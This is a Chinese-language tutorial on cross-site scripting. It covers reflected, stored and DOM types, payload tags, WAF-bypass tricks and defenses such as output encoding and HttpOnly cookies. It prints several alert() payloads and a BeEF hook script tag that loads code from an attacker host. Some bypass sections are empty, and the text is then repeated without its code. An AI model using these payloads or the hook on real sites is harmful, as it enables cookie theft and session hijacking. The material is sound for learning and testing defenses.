XSS攻击
字数 1599 2025-08-10 23:41:56

XSS攻击详解与防御指南

1. XSS简介

XSS(跨站脚本)攻击是通过利用网页开发时留下的漏洞,注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意程序通常是JavaScript,但也可能包括Java、VBScript、ActiveX、Flash或普通HTML。

2. XSS原理

XSS漏洞产生的主要原因是程序对输入和输出的控制不够严格,导致构建的恶意代码输入后,在前端浏览时被当作有效代码解析执行。

3. XSS危害

  1. 网络钓鱼,盗取用户账户
  2. 窃取用户cookies,获取隐私信息
  3. 弹出广告页面获取利益
  4. 劫持用户会话执行任意操作
  5. 传播蠕虫病毒

4. XSS发生过程示例

<input type="text" name="address1" value="value1from">

用户输入恶意代码:

"/><script>alert(document.cookie)</script>

变成:

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script>">

5. XSS挖掘方法

5.1 黑盒测试

查找用户可以输入并控制输出到页面代码的地方:

  • 高风险:评论区、留言区、个人信息修改、订单信息
  • 中风险:站内信、通信、私信、反馈
  • 低风险:搜索框、URL、图片属性

5.2 白盒测试

  1. 搜索接收参数的地方:$_GET$_POST$_REQUEST
  2. 跟踪接收到的数据是否输出到页面
  3. 检查输出到页面的数据是否进行了过滤和HTML编码
  4. 搜索输出语句如echo,跟踪输出变量来源
  5. 审计公共函数中的过滤逻辑

6. XSS分类

6.1 反射型XSS

原理

  1. 攻击者构造包含恶意字符串的URL发给受害者
  2. 受害者访问该URL
  3. 网站在响应中引入恶意字符串
  4. 受害者浏览器执行恶意脚本

攻击位置:用户登录入口、网站搜索框等

案例

http://example.com/vul/xss.php?message=<script>alert(1)</script>&submit=submit

6.2 存储型XSS

原理

  1. 攻击者利用表单将恶意字符串插入网站数据库
  2. 受害者请求页面
  3. 网站在响应中引入恶意字符串
  4. 受害者浏览器执行恶意脚本

攻击位置:论坛、博客、留言板、评论区等

6.3 DOM型XSS

原理

  1. 攻击者构造恶意URL发给受害者
  2. 受害者访问URL
  3. 网站响应不包含恶意字符串
  4. 浏览器执行合法脚本导致恶意脚本被插入
  5. 执行恶意脚本

特点:不与服务器交互,只发生在客户端

7. XSS攻击常用标签

7.1 <script>

<script>alert("xss");</script>

7.2 ``




7.3 <a>

<a href="javascript:alert('1')">test</a>

7.4 <input>

<input type="text" onkeydown="alert(1)">
<input onblur=alert("xss") autofocus><input autofocus>

7.5 <style>

<style onload=alert(1)></style>

8. XSS平台使用

8.1 基本流程

  1. 注册XSS平台
  2. 创建项目
  3. 选择项目类型
  4. 获取攻击代码
  5. 插入漏洞位置

注意:XSS平台可能记录你的测试数据,内部测试建议自建平台

9. BeEF工具

9.1 安装与启动

apt-get update
apt-get install beef-xss
beef-xss  # 启动
beef-xss-stop  # 停止

9.2 使用案例

  1. 插入构造代码:
<script src="http://your-ip:3000/hook.js"></script>
  1. 靶机上线后可在BeEF控制台操作

10. WAF绕过技术

10.1 大小写绕过

<ScRipt>ALeRt("XSS");</sCRipT>

10.2 双写绕过

<input oonnfocus="alert('xss');">

10.3 空格/回车/TAB绕过



10.4 注释绕过

<scri<!--1-->pt>alert()</sc<!--1-->ript>

10.5 字符拼接


10.6 编码绕过

  • Unicode:

  • URL编码:

  • ASCII码:

  • Base64:

10.7 过滤URL绕过

  • URL编码:

  • IP十进制:

  • IP八进制:

10.8 过滤引号绕过


10.9 JavaScript伪协议

<a href="javascript:alert(`xss`);">xss</a>
  <!-- IE7以下 -->

11. XSS防御措施

11.1 内容过滤

  • 白名单过滤:只允许特定内容
  • 黑名单过滤:拦截关键字

11.2 HTTP Only属性

设置会话cookie的HTTP only属性,阻止JS获取cookie

11.3 明确输入内容

对电话、数字、密码、邮箱等字段进行严格格式验证

11.4 输入长度控制

限制不可信内容的输入长度

11.5 安全措施

  • 添加验证码
  • 开启防护软件/WAF
  • 对输出内容进行HTML编码转换

11.6 编码输出

将用户提交的所有内容转换为HTML实体:

  • <&lt;
  • >&gt;
  • "&quot;
  • '&#39;
  • &&amp;

12. 总结

XSS攻击形式多样,防御需要从输入过滤、输出编码、内容验证等多方面入手。开发者应保持安全意识,对所有用户输入保持怀疑态度,实施纵深防御策略。

XSS攻击详解与防御指南 1. XSS简介 XSS(跨站脚本)攻击是通过利用网页开发时留下的漏洞,注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意程序通常是JavaScript,但也可能包括Java、VBScript、ActiveX、Flash或普通HTML。 2. XSS原理 XSS漏洞产生的主要原因是程序对输入和输出的控制不够严格,导致构建的恶意代码输入后,在前端浏览时被当作有效代码解析执行。 3. XSS危害 网络钓鱼,盗取用户账户 窃取用户cookies,获取隐私信息 弹出广告页面获取利益 劫持用户会话执行任意操作 传播蠕虫病毒 4. XSS发生过程示例 用户输入恶意代码: 变成: 5. XSS挖掘方法 5.1 黑盒测试 查找用户可以输入并控制输出到页面代码的地方: 高风险:评论区、留言区、个人信息修改、订单信息 中风险:站内信、通信、私信、反馈 低风险:搜索框、URL、图片属性 5.2 白盒测试 搜索接收参数的地方: $_GET 、 $_POST 、 $_REQUEST 跟踪接收到的数据是否输出到页面 检查输出到页面的数据是否进行了过滤和HTML编码 搜索输出语句如 echo ,跟踪输出变量来源 审计公共函数中的过滤逻辑 6. XSS分类 6.1 反射型XSS 原理 : 攻击者构造包含恶意字符串的URL发给受害者 受害者访问该URL 网站在响应中引入恶意字符串 受害者浏览器执行恶意脚本 攻击位置 :用户登录入口、网站搜索框等 案例 : 6.2 存储型XSS 原理 : 攻击者利用表单将恶意字符串插入网站数据库 受害者请求页面 网站在响应中引入恶意字符串 受害者浏览器执行恶意脚本 攻击位置 :论坛、博客、留言板、评论区等 6.3 DOM型XSS 原理 : 攻击者构造恶意URL发给受害者 受害者访问URL 网站响应不包含恶意字符串 浏览器执行合法脚本导致恶意脚本被插入 执行恶意脚本 特点 :不与服务器交互,只发生在客户端 7. XSS攻击常用标签 7.1 <script> 7.2 `` 7.3 <a> 7.4 <input> 7.5 <style> 8. XSS平台使用 8.1 基本流程 注册XSS平台 创建项目 选择项目类型 获取攻击代码 插入漏洞位置 注意 :XSS平台可能记录你的测试数据,内部测试建议自建平台 9. BeEF工具 9.1 安装与启动 9.2 使用案例 插入构造代码: 靶机上线后可在BeEF控制台操作 10. WAF绕过技术 10.1 大小写绕过 10.2 双写绕过 10.3 空格/回车/TAB绕过 10.4 注释绕过 10.5 字符拼接 10.6 编码绕过 Unicode: URL编码: ASCII码: Base64: 10.7 过滤URL绕过 URL编码: IP十进制: IP八进制: 10.8 过滤引号绕过 10.9 JavaScript伪协议 11. XSS防御措施 11.1 内容过滤 白名单过滤:只允许特定内容 黑名单过滤:拦截关键字 11.2 HTTP Only属性 设置会话cookie的HTTP only属性,阻止JS获取cookie 11.3 明确输入内容 对电话、数字、密码、邮箱等字段进行严格格式验证 11.4 输入长度控制 限制不可信内容的输入长度 11.5 安全措施 添加验证码 开启防护软件/WAF 对输出内容进行HTML编码转换 11.6 编码输出 将用户提交的所有内容转换为HTML实体: < → &lt; > → &gt; " → &quot; ' → &#39; & → &amp; 12. 总结 XSS攻击形式多样,防御需要从输入过滤、输出编码、内容验证等多方面入手。开发者应保持安全意识,对所有用户输入保持怀疑态度,实施纵深防御策略。